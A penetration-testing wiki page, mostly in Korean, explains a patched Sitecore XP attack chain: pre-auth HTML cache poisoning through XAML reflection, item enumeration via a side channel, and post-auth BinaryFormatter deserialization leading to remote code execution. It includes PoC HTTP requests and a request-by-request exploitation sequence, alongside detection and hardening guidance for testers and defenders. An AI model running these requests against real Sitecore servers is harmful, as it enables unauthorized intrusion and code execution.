# Sitecore Experience Platform (XP) – 사전 인증 HTML Cache Poisoning에서 포스트 인증 RCE까지 {{#include ../../../banners/hacktricks-training.md}} 이 페이지는 사전 인증 XAML handler에서 HTML cache poisoning으로 전환하고, 인증된 UI 흐름을 통해 BinaryFormatter deserialization으로 RCE에 도달하는 Sitecore XP 10.4.1에 대한 실용적인 공격 체인을 요약합니다. 이 기법들은 유사한 Sitecore 버전/구성요소에 일반화되며 테스트, 탐지 및 하드닝을 위한 구체적인 프리미티브를 제공합니다. - 테스트한 영향 제품: Sitecore XP 10.4.1 rev. 011628 - 수정됨: KB1003667, KB1003734 (June/July 2025) 참고: {{#ref}} ../../../pentesting-web/cache-deception/README.md {{#endref}} {{#ref}} ../../../pentesting-web/deserialization/README.md {{#endref}} ## 사전 인증 프리미티브: XAML Ajax reflection → HtmlCache write 진입점은 web.config에 등록된 사전 인증 XAML 핸들러입니다: ```xml ``` 다음을 통해 접근 가능: ``` GET /-/xaml/Sitecore.Shell.Xaml.WebControl ``` 컨트롤 트리에는 AjaxScriptManager가 포함되어 있으며, 이벤트 요청 시 attacker‑controlled fields를 읽고 리플렉션을 통해 대상 컨트롤의 메서드를 호출합니다: ```csharp // AjaxScriptManager.OnPreRender string clientId = page.Request.Form["__SOURCE"]; // target control string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2") ... Dispatch(clientId, text); // eventually → DispatchMethod(control, parameters) MethodInfo m = ReflectionUtil.GetMethodFiltered(this, e.Method, e.Parameters, true); if (m != null) m.Invoke(this, e.Parameters); // Alternate branch for XML-based controls if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} ``` 핵심 관찰: XAML 페이지에는 XmlControl 인스턴스(xmlcontrol:GlobalHeader)가 포함되어 있다. Sitecore.XmlControls.XmlControl는 Sitecore.Web.UI.WebControl( Sitecore 클래스)에서 파생되며, ReflectionUtil.Filter 허용-리스트(Sitecore.*)를 통과하여 Sitecore WebControl의 메서드를 해제한다. poisoning을 위한 매직 메서드: ```csharp // Sitecore.Web.UI.WebControl protected virtual void AddToCache(string cacheKey, string html) { HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); } ``` xmlcontrol:GlobalHeader를 타깃으로 삼아 Sitecore.Web.UI.WebControl 메서드를 이름으로 호출할 수 있기 때문에, 우리는 pre‑auth arbitrary HtmlCache write primitive를 획득합니다. ### PoC 요청 (CVE-2025-53693) ``` POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 Host: target Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` 노트: - __SOURCE는 Sitecore.Shell.Xaml.WebControl 내 xmlcontrol:GlobalHeader의 clientID입니다(정적 XAML에서 유래하므로 일반적으로 ctl00_ctl00_ctl05_ctl03 같은 값으로 안정적임). - __PARAMETERS 형식은 Method("arg1","arg2")입니다. ## 오염시킬 대상: Cache key construction Sitecore 컨트롤에서 사용되는 일반적인 HtmlCache 키 구성: ```csharp public virtual string GetCacheKey(){ SiteContext site = Sitecore.Context.Site; if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){ string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey; if (key.Length > 0){ string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant(); if (this.VaryByData) k += ResolveDataKeyPart(); if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName(); if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn; if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName(); if (this.VaryByParm) k += "_#parm:" + this.Parameters; if (this.VaryByQueryString && site?.Request != null) k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&"); if (this.ClearOnIndexUpdate) k += "_#index"; return k; } } return string.Empty; } ``` 알려진 sublayout에 대한 targeted poisoning 예시: ``` __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` ## 캐시 가능한 항목 및 “vary by” 차원 열거 ItemService가 (잘못)익명으로 노출된 경우, 캐시 가능한 컴포넌트를 열거하여 정확한 키를 얻을 수 있습니다. 간단한 확인: ``` GET /sitecore/api/ssc/item // 404 Sitecore error body → exposed (anonymous) // 403 → blocked/auth required ``` 캐시 가능한 항목 및 플래그를 나열: ``` GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 ``` 다음과 같은 필드(Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate)를 찾아보세요. 디바이스 이름은 다음을 통해 열거할 수 있습니다: ``` GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 ``` ### Side‑channel enumeration under restricted identities (CVE-2025-53694) ItemService가 제한된 계정(예: ServicesAPI)으로 가장하고 빈 Results 배열을 반환하더라도 TotalCount는 ACL 이전의 Solr 히트를 반영할 수 있습니다. 와일드카드를 사용해 item 그룹/ids를 brute‑force하고 TotalCount가 수렴하는 것을 관찰하여 내부 콘텐츠와 장치를 매핑할 수 있습니다: ``` GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true → "TotalCount": 3 GET /...term=%2B_templatename:Device;%2B_group:aa* → "TotalCount": 2 GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* → narrow to a specific item ``` ## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691) Sink: ```csharp // Sitecore.Convert byte[] b = Convert.FromBase64String(data); return new BinaryFormatter().Deserialize(new MemoryStream(b)); ``` convertToRuntimeHtml 파이프라인 단계 ConvertWebControls를 통해 접근 가능하며, 이 단계는 id가 {iframeId}_inner인 요소를 찾아 base64로 디코드하고 역직렬화한 다음, 결과 문자열을 HTML에 주입합니다: ```csharp HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); string text2 = inner?.GetAttributeValue("value", ""); if (text2.Length > 0) htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); ``` 트리거(인증된 상태, Content Editor 권한). FixHtml 대화상자가 convertToRuntimeHtml을 호출합니다. UI 클릭 없이 엔드투엔드: ``` // 1) Start Content Editor GET /sitecore/shell/Applications/Content%20Editor.aspx // 2) Load malicious HTML into EditHtml session (XAML event) POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= // 3) Server returns a session handle (hdl) for FixHtml {"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."} // 4) Visit FixHtml to trigger ConvertWebControls → deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute. {{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}} ## 전체 체인 1) Pre‑auth 공격자는 XAML AjaxScriptManager를 통해 반사적으로 WebControl.AddToCache를 호출하여 HtmlCache를 임의의 HTML로 오염시킨다. 2) 오염된 HTML은 인증된 Content Editor 사용자를 FixHtml 흐름으로 유도하는 JavaScript를 제공한다. 3) FixHtml 페이지는 convertToRuntimeHtml → ConvertWebControls를 트리거하며, 여기서 BinaryFormatter로 공격자 제어의 base64를 역직렬화(deserialization)하여 Sitecore 앱 풀 아이덴티티로 RCE를 유발한다. ## 탐지 - Pre‑auth XAML: `__ISEVENT=1`가 있는 `/-/xaml/Sitecore.Shell.Xaml.WebControl`로의 요청, 의심스러운 `__SOURCE` 및 `__PARAMETERS=AddToCache(...)`. - ItemService probing: `/sitecore/api/ssc` 와일드카드 쿼리 급증, 빈 `Results`와 큰 `TotalCount`. - Deserialization attempts: `EditHtml.aspx` 다음에 `FixHtml.aspx?hdl=...` 및 HTML 필드에 비정상적으로 큰 base64. ## 하드닝 - Sitecore 패치 KB1003667 및 KB1003734 적용; pre‑auth XAML 핸들러를 차단/비활성화하거나 엄격한 검증 추가; `/-/xaml/` 모니터링 및 rate‑limit 적용. - BinaryFormatter 제거/대체; convertToRuntimeHtml 접근 제한 또는 HTML 편집 흐름에 대한 강력한 서버측 검증 시행. - `/sitecore/api/ssc`를 loopback 또는 인증된 역할로 제한; impersonation 패턴이 `TotalCount`‑based side channels를 leak하지 않도록 회피. - Content Editor 사용자에 대해 MFA/최소 권한 적용; cache poisoning으로 인한 JS 유도(steering) 영향을 줄이기 위해 CSP 검토. ## 참고자료 - [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) - [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) - [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) {{#include ../../../banners/hacktricks-training.md}}